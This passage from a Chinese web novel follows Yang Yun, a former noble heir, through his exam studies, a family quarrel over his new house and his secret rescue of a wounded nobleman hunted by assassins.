“杨云，你是我见过学习速度最快的学生，今日之后，你可以读《中庸》了。按你的读书速度，说不定可以参加明年的童生试。” 杨云的眼睛一亮，带着几分期待问道：“真的吗？” 自回到青山村，杨云已决定要考功名，让之前那些人看看，他不靠外力，依然能做出一番大事！ 明年的童生试虽然简单，但要是能过的话，也算是有功名了。 周仲见到杨云喜形于色，立刻脸色一沉，淡淡地提醒说： “你是不是以为童生的名头已经在向你招手？你是不是觉得只要参加，一定能过？” 杨云看到周仲面色不悦，知道他生气了，连忙低头，一语不发，乖乖听训。 虽然嘴上不说，但实际上杨云心里是这么想的。 他将四书背得滚瓜烂熟，连精义也记得清清楚楚，难道会连个童生也拿不到？ 见到杨云不说话，周仲似猜到他心里的想法，冷笑着说： “四书只是最基本的东西，童生试还要考试帖诗，你能做出合格的试帖诗吗？” 这下杨云老实了，他这段时间忙着学习四书，根本没了解过怎么做试帖诗，“还请先生指教。” 坐在桌子后面的周仲看着杨云，语速不快不慢地给他讲解， “所谓试帖诗，是科举所作之诗的统称，多为五言六韵，或八言排律，韵脚要在平声各韵中出字，不得重字，此诗一直到殿试方才不考。” “你就算四书学得再好，别的内容你不会，一样是个考不中。” 听到童生试竟还有这么多规矩，杨云神色郑重很多，冲着周仲行礼说：“多谢先生指点，学生以后定然虚心学习。” 周仲见到杨云不再像刚才那样不服，心中知道镇住他，才不慌不忙地说： “你先把《中庸》读完，我再教你试帖诗。” “试帖诗后还有八股文，策论，你要学的东西还有很多，千万不能因为一时进步，骄傲自满，那样害的只会是你自身。” 杨云点点头，回去学堂潜心学四书，科举的路没有那么好走，他必须时刻警醒，不能有任何骄傲自满才行。 等杨云走了，面目严肃，坐得笔挺的周仲忽然塌在椅子上，长舒一口气， “幸亏我肚子里还有点真菜实力，要不然还真镇不住这小子。” 杨云这种学生是老师的幸福，也是老师的烦恼，稍有不慎被这小子超过了。 转眼又是一月过去，这天杨云家里瓦房终于盖好，他特意请老师和同学过来参加暖房仪式。 姜梅也把村里比较近的亲戚和邻居都请过来热闹热闹。 “恭喜恭喜。” 周仲今天第一次到杨云家里来，特意换一身干净衣服，还给杨云包一个红包。 “多谢先生，先生，你请到主桌。” 杨云毫不客气地接过周仲的红包，把他请到主桌，和族老，姜梅等人同坐。 “云哥，恭喜恭喜！” 虞尚熙和宋玉川领着一帮同学都来了。 本来他们也想包红包，但杨云坚决不许，最后拗不过他，只能空着手来吃一顿。 “你们来就好，那边是你们的桌，我特意给你们准备着麻糖，快去吃吧。” 杨云见到小兄弟们来了，指着院中的一桌，轻声对众人说。 刚来的时候，宋玉川等人极力装出一副大人的样子，听到麻糖后，立刻原形毕露，飞奔着去吃糖。 接着邻居们到了，纷纷向姜梅和杨云道喜。 在杨云觉得人数差不多，准备开席的时候，一男一女走过来，笑嘻嘻地说： “嫂子，暖房这么大的事怎么不跟家里说一声？” 来人正是杨玉明的弟弟，杨云的四叔，杨玉竹。 原本杨云觉得他和祖宅那边的人不对付，干脆不请，没想到杨玉竹竟厚着脸皮来了。 杨云对祖宅那边的人没有什么好感，冷笑着说： “既然没跟你说，那是不想你来呗，这点道理都不懂吗？” 杨玉竹脸上的笑容一僵，他没想到杨云竟这么不给面子，大庭广众之下奚落他。 他的脸色立刻一沉，转头看向姜梅冷声问道： “嫂子，云儿这么跟我说话，你觉得合适吗？你平时都是怎么教孩子的？” 见到杨玉竹这么训娘，杨云立刻挡在她的身前，冷冷地说： “对你这样不请自来的恶客，应该打出去。我只是说几句，怎么不合适了？” 第70章 添点人气 第七十章 添点人气 回村后，杨玉昭几次三番下阴招对付杨云，幸好杨云棋高一着，利用族老逼得杨玉昭闭门读书，总算能安心过一段太平日子。 只是他没想到，杨玉昭刚按下去，一直没有动静的四叔杨玉竹又露头。 看着杨云面无表情的脸，杨玉竹不满地哼一声，“什么叫不请自来？我是你四叔！叔叔去侄儿家，还用得着打招呼吗？” “何况暖房是件大事，若没有族中长辈给你撑腰怎么能行？” 对村里人来说，暖房算是件大事，朋友邻居都要请，族中的亲戚自然更不能漏过。 如果杨云新房落成，杨家却没有一个人出席，这无疑是告诉村民，杨云和杨家闹翻。 到时候不知道有多少流言蜚语要传出，对杨云的名声是个不大不小的打击。 姜梅心中想到这一点，轻轻将身前的杨云拉开，挤出一丝笑容说：“四叔说得有理，自家亲戚哪还用请？四叔，快进院，请上座。” 杨玉竹平日不声不响，也没欺负过姜梅，她心中对这个四叔的印象还算不错。 听见姜梅的话，杨玉竹脸上露出一丝得意，轻蔑地用眼角余光瞥一眼杨云，大大咧咧地带着媳妇李氏和两个十五六岁的儿子，径直走进院里，坐在主桌之上。 看到杨玉竹这副盛气凌人的样子，杨云眼中闪过一抹怒色，强压着心中的火气低声问： “娘，你让他进去干什么？以前你受欺负的时候，没见他为咱们说过一句话。” “现下有好吃的好喝的，他反而来占便宜了！” 杨云对杨玉竹甚至是整个杨家的态度都很简单，我不占你便宜，你们也别占我便宜。 两边鸡犬相闻，但老死不相往来。 姜梅小心地看一眼院中的客人们，见没什么人注意这边，轻声解释，“他再怎么说也是你四叔，如果你真把他赶走，岂不是让村里人笑咱们家不懂礼数？” “左右只是一顿吃喝，当是布施给和尚老道了。” 杨云张张嘴，想要说些什么，但看着杨玉竹已经在主桌上坐下，只能重重地叹气。 不是他舍不得这点吃喝，而是他觉得，杨玉竹突然跑过来给他暖房，这背后定有图谋。 但母亲既然这么说，他也不好再把杨玉竹赶走，只能等会儿见招拆招。 人来得差不多，杨云扶着母亲回到主桌，端起酒杯对众人说： “多谢大家今日前来为我家暖房，日后有什么用得着的地方，大家尽管开口，左邻右舍互帮互助，大家的日子才能越过越红火，开席！” 随着杨云的吩咐，掌灶师傅立刻让人上菜，烤得吱吱冒油的鸭 子，卤得金黄软嫩的鸡，还有厚厚的肥肉片子，可谓是丰盛至极。 众人一边抢着吃一边议论，姜梅杨云真有钱，连这么丰盛的席面都能办得出来。 虞尚熙等人还是第一次看到，这么多肉摆在面前，一人抓个腿吃起来。 等到菜吃得差不多，周围的人才来敬姜梅酒，但姜梅喝不了多少，只能杨云代替。 吃饱喝足后，客人纷纷告辞，族老勉励杨云几句走了，反倒是杨玉竹一直坐着不挪窝。 杨云今天喝不少酒，院里又只剩杨玉竹一家，他酒意上涌，冷笑着说； “四叔你还不走？不会是想在我们家吃晚饭吧？” 被杨云当面讽刺，杨玉竹没有反唇相讥，而是拿着酒壶倒一杯酒，悠然起身，先去堂屋看一眼，又去两边的厢房看看，嘴里还不时地说；“这房子修得还算不错，只是有点晒不到太阳……” 这种指手画脚的样子，让杨云对杨玉竹更不耐烦，毫不客气地说： “晒不到太阳是我们家的事，跟你有什么关系？没事赶快走，别看不出个眉眼高低。” 之前杨云以为，只要摆出一副不耐烦的样子，吃饱喝足占足便宜的杨玉竹肯定会走。 没想到杨玉竹不仅没走，反而招手把两个儿子叫过来，“正泰，正兴，快来拜见你伯母，堂哥。” 两个吃得满嘴是油的半大小子，嘻嘻哈哈地跑到杨云姜梅面前，随意地拱拱手，“见过伯母，堂哥。” 姜梅笑呵呵地虚扶两人一下，顺口还夸两句懂事之类的客套话。 站在旁边的杨云，看着两人行礼之时，一点真心实意都没有，心中对这家人更加厌恶，双臂纹丝不动，没有一点还礼的意思。 见到杨云垂手不动，杨玉竹和李氏眼中闪过一丝怨毒之色，又笑呵呵地说： “嫂子，你们家的房子修得还算可以，只是你们两个人住，实在过于冷清。时间一长，压不住这股阴劲，你和小云都要生病倒霉的。” 姜梅一听有些着急，看看刚盖好的房子，连忙问道：“那该怎么办？总不能把房子拆掉吧？” 杨玉竹眼中闪过一丝讥讽，装模作样地说：“拆也是个办法，但那样太可惜了。我这有个办法，不知道你同不同意。” 这时候杨云已经听出杨玉竹要干什么，他冷冷一笑，毫不客气地打断杨玉竹，“不同意，你们可以走了。” 刚想开口的杨玉竹被噎一下，脸上带着怒色，瞪着杨云。 杨玉竹的媳妇李氏见到两边僵住，连忙站出来打圆场，给杨玉竹台阶下， “相公，杨云还小，不知道这里面的厉害。你怎么都是他四叔，得好好跟他说说。” 姜梅也没意识到杨玉竹夫妻俩在唱双簧，十分紧张地点点头说：“四叔，到底怎么才能压住这股阴劲？” 杨玉竹狠狠瞪一眼杨云，带着几分怒气说：“你看刚才那么多人，谁跟你提过这件事？我要不是你四叔，我才懒得管你！” 他转头看向姜梅，重重地叹一口气， “嫂子，要想压住这股阴劲，必须用阳气足的小伙子，只有这样，你这房子才能阴阳调和，不出恶事。” 杨云鼻中哼哼两声，似笑非笑地看着杨玉竹，“你们家有两大小伙子，让他们住进来正合适是吧？” 第71章 苦心学习 第七十一章 苦心学习 杨玉竹开口的时候，杨云已觉得不对劲，等听到后面阴气阳气的时候，他彻底明白。 这老小子说这么多，无非是一句话，他想让他儿子搬进来住！ 杨氏祖宅是老爷子说了算，等将来老爷子走了，祖宅有很大可能被杨玉昭继承。 到时杨玉竹一家只能仰人鼻息，不如在外面另起一院住得舒心。 正好杨云家里盖房子，他们又是孤儿寡母，杨玉竹才起鸠占鹊巢的心。 先让两个儿子住进来，再让媳妇李氏住进来，最后他再搬进来，找借口将姜梅和杨云挤出去。 这样他能白得三间瓦房！ 这算盘打得实在是太响！ 见到杨云揭穿图谋，杨玉竹的脸色微微一红，强词夺理说： “其实我也不想让正泰正兴给你们家挡阴气，但你既然开口，咱们又是亲戚，我让他们两个在这里住一段时间吧。” “只是你们得好好照顾他们两个，不然的话，我不让他们给你挡阴气了。” 姜梅被杨玉竹连哄带骗，吓得六神无主，只知道连连点头， “四叔你放心，我一定会好好照顾正泰正兴的。” 两个孩子为自家挡阴气，肯定不好受，细心照顾是应该的。 旁边的杨云冷冷地哼一声，拆穿杨玉竹的把戏， “娘，什么挡阴气，你听他胡说！杨玉竹是想用这种办法，占咱们家的房子！” “咱们这房子坐北朝南，靠山临水，别说没有阴气，哪怕有阴气，太阳也能晒化了！” 姜梅听到愣住，不可置信地看着杨玉竹，她没想到四叔竟会图谋她的房子。 但转念一想，之前二叔连他们家的茅草屋都不想放过，现下瓦房盖好，四叔想占为己有也很正常。 李氏见姜梅的神色有些动摇，眼珠一转，面上浮出几丝不满， “真是狗咬吕洞宾！我们好心让孩子给你们挡阴气，你们却说我们要占你的房子！” “我们家的房子，比你们阔气多了！手里有几个臭钱不知道自个儿是谁了，不愿意拉倒，反正将来倒霉出事的不是我们！” 说着李氏拉起两个孩子的手准备走，姜梅想拦，却被杨云挡住。 李氏本来打的主意是让姜梅留她，可她没想到杨云把姜梅拦住，只能磨磨蹭蹭地走到门口，小心地回头张望，心中暗想，姜梅你吭个声啊！ “走啊，怎么不走了？” 杨云看着在门口徘徊的李氏，脸上带着嘲讽的笑容说： “我忘了，你相公还在这里呢！杨玉竹，你老婆儿子都在门口等你呢，你还愣着干嘛？” 看见杨云冷嘲热讽的得意样子，杨玉竹瞪他一眼，恶狠狠地说： “小子，不听老人言，吃亏在眼前，你等着吧，用不了几天你得倒霉！” 撂下一句场面话，杨玉竹带着媳妇儿子昂首挺胸地离开，好像他们真是为杨云好一样。 等杨玉竹一家走了，姜梅才满脸忧色地说： “云儿，宁可信其有，不可信其无，说不定你四叔说的是真的呢？” 杨云不屑地笑一声，看着母亲淡淡地说： “如果新房有阴气，你觉得以杨玉竹的性格，他舍得让亲生儿子来给我们挡？” 被蒙住的姜梅醒悟过来，四叔跟她的关系只能说一般，要是有这种吃力不讨好的事，他不可能主动对她提的。 想通这点，姜梅满意地回头看看自家的新房子，眼中全是笑意， “我说嘛，咱们的新房怎么可能有问题！” 新房落成，杨云和姜梅抽空进城，买一些家具，被褥，稍微把房子布置一下。 这天杨云穿上姜梅亲手给他做的新棉袄新棉裤，在凛冽的冬风吹拂中，去四方村上课。 “毛犹有伦，上天之载，无声无臭。至矣！” 杨云背完《中庸》最后一句，静静地看着面前的周仲，等着他给讲精义。 只是周仲坐在椅子上，久久不曾开口，眼睛定定地看着桌上的书，似陷入沉思之中。 过半天，杨云终于忍不住，小声地说：“先生，先生！我背完了，可有哪里不对？” 周仲才如梦方醒，冲着杨云摇摇头说： “你背得很好，没有一个字是错的。我来给你讲这段的精义……” 一刻钟后，周仲将最后一段精义讲完，脸上忽然浮现出一丝悲伤之色。 杨云立刻注意到周仲的表情不对，连忙问道： “先生，是我这一段有什么地方理解得不对？” 周仲知道是杨云看到他的表情，心中有所猜测，他摆摆手苦笑着说： “不是你理解得不对，而是从今以后，你就算从我这里出师了。” “虽然我只教你四个月，但一想到你要出师，我这心里还挺难过的。” 四个月时间，周仲看着杨云把四书全部学完，这么好的学生，他是真不想放手。 可不放手没办法，周仲已经没有东西可以教杨云，继续把他留在四方村，只会毁掉他。 听到周仲的话，杨云愣一下，下意识地看向书架上的五经集注问道：“先生，不是还有《五经》没有读吗？我怎么能出师？” 杨云知道，他早晚有一天会从这个学堂中离开，只是他没想到，这一天来得这么早。 这里的师长，这里的同学，他才刚熟悉，又要离开。 看着杨云呆愣的样子，周仲脸上泛起一丝笑容，摇着头说：“你真看得起我，竟想让我做你的经师。只可惜，我才学不济，没有那个本事。” 杨云疑惑地看着周仲，心中忽然起一个念头，皱眉问道：“先生，难道你不会五经？” 周仲好歹是有童生功名的人，不可能不会五经吧？ 听到杨云质疑，周仲立刻抬头瞪他一眼，才缓缓地说： “五经我当然懂，只是在这方面还没有资格做别人的老师。你得再拜一位经师才行。” 杨云仔细念两遍经师这个词，眼中带着几分不解问道：“经师，是什么？” 第72章 风雪 第七十二章 风雪 之前杨云在天应侯府的时候，来往的都是权贵公子，说起吃喝玩乐，他们头头是道，但读书科举，他们一窍不通。 后来回到青山村，杨云从进学到现下，总共只有四个多月，这期间他一直在闷头读书，对读书人的人情交往，关系礼数，根本没时间了解。 看着杨云迷茫的双眼，周仲忍不住笑起来，这个学生对读书很有天分，在某些方面却惊人的无知，甚至连经师都不知道是什么。 他指指房中的圆凳，起身背着手在房中踱几步，缓缓对他解释说： “像我这样的先生，被称为蒙师，意为给你们开蒙，教你们读书认字的老师。” “经师，是教你们五经的书院老师，是真正教你们学问，带领你们走上科举之路的人。” “最重要的是，经师必须有秀才功名。” 说到这里，周仲重重地叹气，眼中有一丝怅然之色浮现。 他已经考三次院试，却始终没有考上秀才，明年是第四次，也不知道这次能不能行。 看着周仲长吁短叹的样子，杨云以为他舍不得他离开，眼睛一转，轻笑着说： “先生，我虽然学完《中庸》，但还想把四书所有篇章再回顾，温习一遍，等之后再去找合适的书院，拜见经师，不知道先生可愿多教我些时日？” 周仲立刻明白，他也舍不得从学堂离开，不然以杨云过目不忘的记性，他怎么会需要回顾温习？ 周仲没有拒绝学生的好意，轻轻点头说： “以你的学问，去参加童生试绰绰有余。这几日，我出几套童生试的题目给你做做，让你心中对童生试的难度有个底。” 杨云起身谢过周仲，他能感觉得到，这位先生是真心实意地在教导他。 傍晚时分，天边忽起大风，彤云堆积如山，压得天地之间如同浓夜一般。 不多时，鹅毛般的大雪飘飘而落，几乎是眨眼之间，将大地裹上银装。 周仲看外面的雪那么大，怕一会儿下得太厚，学生们不好回家，连作业都没布置，立刻放学了。 冬天的风格外冷冽，平素活泼好动的学生们好像也被冻住，各自低声告别后回家。 杨云将两只手笼在袖筒里，低着头快步往家里走，只要回家，能烤火暖和暖和。 走到青山村村口的时候，杨云随意往村口的林子里瞟一眼，却见到一个鼓鼓的雪包立在林子边缘，看起来像是原本在那里的东西一样。 但杨云每天都从这里路过，他可以肯定，在今天早上，这里还没有任何东西！ 天地间风雪正紧，杨云看一眼往前走，但没走几步又倒回来。 这东西看起来体型不小，说不定是林子里冻死的羊或者鹿，他要是拖回去，不仅能吃一顿肉，皮子还能卖点银子补贴家用。 想到这里，杨云喜滋滋地凑过去，他先是捡一根细长树枝，用力捅雪包几下。 里面的东西没有任何反应，树枝前面传来的触感有些软，应该是刚死不久。 他小心地走过去，用手轻轻将鼓包上面的雪拍打干净，雪下面，露出一根金簪！ “靠！”杨云口中不由自主地吐出一个字，向后退两三步。 羊和鹿都不会带簪子，这是说，雪下面埋着的是个人！ 那根簪子做工考究，设计出众，整个青山村甚至是整个东平县，没人有这么大手笔！ 风雪之中的杨云，面色阴晴不定。 从簪子能看出来，这人的身份不一般，若是换一般人，肯定想着把人救回去，日后得到此人重谢，从此吃喝不愁。 杨云不一样，他在天应侯府做十八年的世子。 他心里很清楚，一个身份如此尊贵的人，却莫名其妙在荒郊野外冻僵，只有一个可能，此人惹上麻烦，跑到这里后昏过去，才会被大雪掩埋。 他要是把他救回家，会牵扯到这桩危险极大的麻烦中，到时母亲和他都得被牵连。 但见死不救，杨云心中又过不去。 站在原地思索片刻，杨云有决定，若这人还活着，哪怕只有一口气，他也要救回去。 若此人已经死了，那把他留在这里，保证母亲和他不受牵连。 做出决断后，杨云轻轻呼一口气，缓步走上前去，将那人脸上胸前的雪花拍落。 在看到那人脸的一瞬，杨云微微一愣，不知道为什么，他总感觉这人有些面熟，但一时间想不起在哪见过。 但雪下得越来越大，杨云没有细想，赶紧把手指伸到那人鼻下，轻轻一试。 没有一点热气。 杨云叹一口气，刚准备离开，又把手伸到那人怀里，仔细感受。 咚，咚，咚。 这人的心跳虽然缓慢，但明显没有停下，还有得救。 “你的运气真好，碰到我这么个心软的人。” 杨云将雪人身上的雪随意拍拍，半蹲在他身前，双臂微微用力，将人搬到背上。 漫天风雪之中，杨云深一脚浅一脚地将人背回到自家里。 正在家里做活的姜梅，见到杨云背一个人回来，连忙放下针线上来帮忙，“这是怎么回事？” 杨云将背上的人慢慢放下，让母亲去拿套干净衣服和厚被褥。 只是这人不知道被冻多长时间，身上早已僵硬。 不得已之下，杨云只能用剪刀把他的衣服剪开，用毛巾把他身上的水擦干净，放进厚厚的被褥之中。 姜梅站在旁边，拿起剪开的料子看看，又用手摸摸，一脸惋惜地说： “可惜啊，这么好的料子，这么被剪了。等明天我洗洗，再给他缝起来还能穿！” 现下姜梅的手艺，在整个东平县都算是有名，缝个衣服不在话下。 没想到杨云把火盆推到那人身边，神色十分严肃地对着姜梅说： “娘，这些衣服你绝不能缝，也不能洗！最好把它们扔到火里，全都烧了！” 第73章 潜藏 第七十三章 潜藏 姜梅不由得有些不解，疑惑地问：“为什么？这些料子比布庄里最上等的绸缎还要好，一尺最少也得一二两银子。” “要是好好缝一下，卖给旧衣铺也能卖点银子，烧了多可惜。” 姜梅能看出来，被剪开的衣物，做工比她要好，料子也很名贵，值不少钱。 杨云看一眼床上脸色惨白的雪人，将母亲拉到旁边，低声解释，“穿这么好的衣服，身边却没有下人服侍，还昏在咱们村口，这说明他有大麻烦。” “方才给他擦身子的时候，我还看到他腹部有个很深的伤口。” “这是说，他很可能是被人追杀，慌不择路逃到咱们村，失血过多昏过去。” “只是这人命好，雪下得够大，他的伤口被冻住，变相地给他止住血。” 姜梅心肠软，却很聪明，经过杨云略微点拨，明白过来， “你是说，追杀他的那些人，一旦知道他没死，会再来，甚至把我们也灭口？” 暗杀这种事见不得光，最保险的方法是把所有知情人都干掉。 见母亲理解他的意思，杨云面色凝重地点头，“咱们现下唯一的选择是，将这个人藏在咱们家里，谁也不要告诉。” “等这人能下地后，把他送走，到时再有什么麻烦，也跟我们没关系。” 杀手的目标是这个被冻僵的人，只要他能回去，杀手不会专门来找两个庄户麻烦。 姜梅似懂非懂地点头，抱着衣服去厨房烧掉，只是烧的时候，眼里满是心疼。 窗外风雪渐渐变小。 三条黑影在青山村村口的林子里，默默穿行。 “大人……老大，这里！” 三人围过来，拨开茂盛的杂草，一个做工精细，用料考究的香囊露出来。 被称为老大的人，嘴边露出一丝残忍的笑容，用生硬的大盛官话低声说：“那人肯定在这周围，找！生要见人，死要见尸！” 听到命令，三人立刻分开在林子里四处搜索，最后又回到原来的地方，摇摇头。 老大仔细看看香囊周围的痕迹，发现一个树旁边的积雪要浅一点。 他皱眉沉思片刻，过去用手把上面的雪拨开，在靠近泥土的地方，摸到一层薄薄的冰凌。 在摸到冰凌的一瞬，老大眼中闪过一丝振奋之色，低声对另外两人说：“那人肯定在这里坐过，周围的雪被体温融化，才形成冰凌。” “现下不在这里，很可能是逃走，或被人救走。” 三人抬头，向青山村的方向看去，距离最近的是这个村子。 老大的眼神中闪过几分冷酷，低声吩咐另外两人， “此事关系重大，为防消息走漏，找到目标后，连救他的那人全家都杀了。” 剩下两人沉声应是，三人趁夜摸青山村。 后半夜，呼啸的风雪总算停了。 在杨云觉得，终于能睡个好觉的时候，床上传来一阵剧烈的咳嗽声。 他起身一看，被救回来那人身上终于有温度，应该没有性命之危。 但杨云刚笑一下，脸色突然一凝，小心地掀开被子的边角。 果然看到那人腹部的伤口又缓缓流出血水，床上被子上，染得都是。 杨云没有惊动姜梅，悄悄拿两块干净的白布，撕成三指宽的布条，将那人腹部的伤口包扎好，又倒一碗温水，混点盐巴，喂他喝下。 喝过盐水，那人总算不咳嗽，杨云躺回地铺，寻思着明天进城给他抓点药。 第二天一早，杨云和姜梅把院里的雪扫好，刚准备去四方村和周仲请假。 只见到姜梅慌慌张张地从屋里跑出来，不安地说： “那个……好像有点不对劲。” 杨云立刻明白，姜梅是在说昨夜带回来的那人，他眉头微皱，快步走进屋里。 原本昨天冻得跟冰棍一样的人，却烫得跟火炭一样，脸上满是汗珠。 “这估计是被冻出病来了……娘，你在家里看着他，我进城抓药。” 杨云对医理一窍不通，只是本能地认为，这人发烧，应该跟昨夜冻一晚有关。 姜梅看着床上昏迷不醒的人，眼中闪过担忧之色，“云儿，咱们是不是得做点什么，总不能让他这么等着吧？” 思索片刻，杨云对姜梅说：“您用凉毛巾给他降一下温，免得烧坏脑子，隔半个时辰，给他喂一碗盐水。等我抓药回来，咱们煎药给他喝。” 青山村没有大夫，想看病必须得去县城，在杨云回来之前，姜梅能做的只有这么多。 看杨云收拾好东西要走，姜梅心中实在担忧，主动劝道：“云儿，要不是还是我去吧！反正只是抓药，我行得。” 昨夜杨云说过，很可能有人在追杀床上的病人。 杨云要是为他去抓药，说不定会被凶手盯上，甚至被杀人灭口。 没想到杨云坚定地摇摇头，嘱咐母亲说：“您在家里照顾好他就行，剩下的事我能应付。” 姜梅拗不过儿子，只能目送他离开。 回到屋里后，姜梅调一碗盐水，一小勺一小勺地喂那人喝下，口中还轻声念叨， “你一定要好起来，不然白费云儿这番心思了……” 杨云从家里出来，路过村口的时候，下意识向昨天救人的地方看一眼，心中轻轻叹气，也不知道这件事是福还是祸。 去学堂跟周仲请假，杨云快步来到东平县城。 但他先到福兴布庄，借口母亲要做几件新棉衣，买点棉花和清布。 又到文宝坊买些纸笔，才假装不经意地溜进一家药铺，故意憋粗嗓子问道： “大夫，我家里昨晚有人冻着了，吃什么药好得快点？” 入冬之后，被冻着的人不少，大夫问一下情况，提笔给杨云开一剂荆防败毒散。 回去喝上一剂能退热，三剂之后可以痊愈。 杨云拿上方子，让药铺伙计帮他抓好，低声问道： “你这里有现成的金创药吗？” 第74章 找人 第七十四章 找人 大药铺通常会备着常用的药丸药粉，病患来拿药能走，不用等待。 这家药铺的右边放着不少包好的药丸，只是杨云不清楚，里面有没有金创药。 正在包药的伙计，连头都没有抬，木然地说：“这三剂败毒散六百文，金创药你要多少？一包一两，二百文钱。” 杨云转头看看四周，见周围没人注意他，摸出一两银子放在柜台上，“给我来两包，这是药钱。” 药房伙计麻利地把药打包好，杨云用布庄买来的布盖上，确定看不出后才出门。 只是走一段路，忽然见到李乐山领着两个衙役，从对面走过来，脸色还有些不好看。 李乐山隔着老远也看到杨云，他难看的脸上忽然泛起笑容，快步向杨云跑过来，“杨兄弟，杨兄弟！没想到会在这里碰到你。” 杨云稳稳心神，将买的东西夹在腋下，勉强冲着李乐山拱拱手，“李大哥，看你匆匆忙忙的样子，是不是在查案？” 两人认识也有段时间，杨云能看出，李乐山虽然在跟他寒暄，双眼却不停转动，盯着周围的可疑之人，明显是有案在身。 “不愧是破灭门案的高手，一眼看出我在查案。” 李乐山竖起拇指夸杨云一句，将杨云拉到路边，轻声问道：“兄弟，帮哥哥个忙。这个忙你要是帮成，哥哥后半辈子都记得你的大恩大德。” 听到李乐山的话说得这么重，杨云知道事情小不了，连忙摇头， “李大哥你言重，我是个穷学生，没钱没权没势没人，哪能帮得上你？” 杨云已经捡一个麻烦回家，他不想再招惹一个麻烦。 没想到李乐山抓着杨云的胳膊，双眼真诚地看着他，恳求着说：“兄弟，我这个忙不用你有权有势，只要你动动脑子给我出个主意即可。” 杨云的眼睛转一圈，试探着问：“李大哥，你是不是碰到什么棘手的案子，想让我帮你破案？” 杨云和李乐山之所以会认识，是因为灭门案。 现下李乐山把条件说得那么明，肯定是遇到像上次灭门案一样的难题，想找他帮忙。 李乐山哈哈一笑，冲着杨云不停地点头说：“兄弟，我知道你脑子好使，一猜猜到了！” 被李乐山捧好几句的杨云没有飘，反而更加慎重地看着李乐山，小心地说：“李大哥，出主意没问题，但我不敢保证一定能找到凶手。” 在出谋划策之前，先把他摘出去，这样就算查不出来，李乐山也不会怪他。 没想到李乐山看看四周，小声地对杨云说：“不是找凶手，是找一个人！只要找到这个人，功名利禄，荣华富贵，唾手可得！” 杨云立刻想到他捡回来的那人，不动声色地继续打听，“什么人这么厉害？难不成是财神爷？” 李乐山甩一下头，宽厚的手掌轻轻在杨云胳膊上拍一下，带着淡淡的责怪说：“兄弟，我和你说正事呢，你别开玩笑！” 见到李乐山一本正经的样子，杨云也变得严肃起来，认真地问：“找什么人？男的女的，胖的瘦的，有钱的没钱的？长什么样子？” 如果李乐山说的人和他救的那人是同一个，等他养好病后，赶紧把他送到县衙。 至于功名利禄，荣华富贵，杨云可以挣，只要能把麻烦甩出去即可。 李乐山愁眉苦脸地摇摇头，带着几分不满说：“问题在这！知县大人光说让我找人，但高矮胖瘦，男女穷富都没说！” “还说什么，你只要见到他，定知道他是你要找的那个人！” “呸，我要有那个本事，还用得着当捕快？” 知县给的条件这么宽泛，让杨云大失所望，一点消息都没有套出来。 他为难地摇摇头，对着李乐山苦笑着说：“李大哥，你这什么条件都没有，找根本不可能找到，只能碰运气。” “我觉得你应该去乞丐堆，或者流民里面找找。” 李乐山愣一下，不解地看着杨云问：“为什么？” 杨云凑到李乐山的身边，小声地说： “找到那人，功名利禄唾手可得，证明那人地位不低，有钱有权。” “这样的人能让别人找，证明他一定遇到什么变故，被迫流落他乡，符合这两个条件的人，我只能想到乞丐或者流民。” 听完杨云的分析，李乐山若有所思地点头，满脸喜色地拍着杨云的肩膀，“兄弟，我知道找你肯定没错！” “哥哥我先去忙，要是找到那人，哥哥一定不会忘了你的提点！走了！” 有方向后，李乐山脸上满是自信，仿佛用不了多长时间定能找到知县说的那人一样。 杨云心虚地看一眼李乐山离开的方向，拿着布和纸笔，回青山村。 到家的时间正好是中午。 杨云悄悄把抓回来的荆防散交给姜梅，让她去煎。 他到神秘人的房间，把他腰上的白布解开，用酒清洗一下伤口，将金创药敷上，又用两条干净的白布给他包扎伤口。 忙完这些，杨云胡乱吃些东西，又和姜梅一起，把煎好的药喂神秘人服下。 中午晚上喝两剂，神秘人的烧终于退掉，呼吸也变得均匀，应该是没有性命之忧。 深夜，阵阵低呼将杨云从睡梦中唤醒。 他揉着眼睛坐起来，只听床上的神秘人不停念叨，“水……水……” 睡得正香的杨云被吵醒，颇为恼火地翻个白眼，但还是从地铺上爬起来，倒一碗水，扶着那人坐起来，缓缓喂到他的口中。 喝完水的神秘人再次昏睡过去，杨云给自个儿也倒一碗，喝完后接着睡觉。 喔，喔，喔~ 一阵雄壮洪亮的啼鸣响起。 床上的神秘人缓缓睁开眼睛，立刻去抓腰间的佩剑，却只抓到软软的被子。 他愣一下，才发现他在一个陌生的地方，刺杀他的刺客也不知道在哪里。 第75章 苏醒 第七十五章 苏醒 这人的眼睛扫过墙上糊着的纸，新买的八仙桌和茶壶茶碗，最后目光落到地上的铺盖上，看见杨云。 他的目光闪烁几下，猜到应该是这个少年救下他，还把床让给他养伤。 这时，杨云睁开眼睛打个哈欠，两人的目光正好对上！ “你醒了？” 杨云见到救回来的人醒来，脸上露出笑容，既然醒了，那离甩开这个麻烦不远了。 床上的病号轻轻点头，目光中带着几分审视和狐疑，冲杨云问道：“是你救我？你叫什么名字？这里是什么地方？” 虽说这人说话的声音中气不足，却带着一股不容拒绝的威严，仿佛天生是发号施令的上位者。 若是换成别的青山村村民，肯定会不由自主地回答这人的问题。 只可惜他面对的是杨云。 前十八年，这个发号施令的位置一直是杨云，他还是第一次听到，有人用这种审问式的口气跟他说话。 本来对这人没什么好感的杨云，哼一声翻个身，做出一副准备继续睡觉的架势。 见到杨云竟不理他，床上的病号眉头微皱，话语中带着明显的不悦， “本……我在问你话，你听到没有？” 杨云仍旧没有理会，把被子往上一提，发出一声舒服至极的轻吟。 床上的病号脸上明显带怒色，刚准备厉声喝问，忽然想到，杨云明显是故意不理他，但他又没得罪他，他为什么要这样？ 沉思片刻，病号终于意识到，他刚才的话太过倨傲，完全不像是对待救命恩人的态度，反倒是像是对待府中的下人一样。 意识到他的错误，病号说话的语气变得柔和有礼，“小哥，是你救我吧？多谢你的救命之恩，我身体虚弱不能行礼，还请多多包涵。” 要是这时能起身，病号也不介意给杨云行礼，毕竟人家救他一命，感谢是应该的。 听到病号终于会客客气气地说话，杨云把被子拉下一点，露出脸冲着病号说：“这还像是个人说的话。” 病号差点被气笑，他之前的待人接物，也算是交口称赞，没想到在杨云这里，只落得像人说的话一样。 但病号没有跟杨云计较，反而觉得他有几分坦率真诚，接着问道：“不知道阁下怎么称呼？这里又是什么地方？” 杨云瞄一眼病号，不紧不慢地说：“在问别人的名字之前，是不是应该先把你的名字说出来？” 病号愣一下，之前他交往的那些人，没有一个不知道他的名字，他根本用不着说，没想到今天遇到一个不认识他的人。 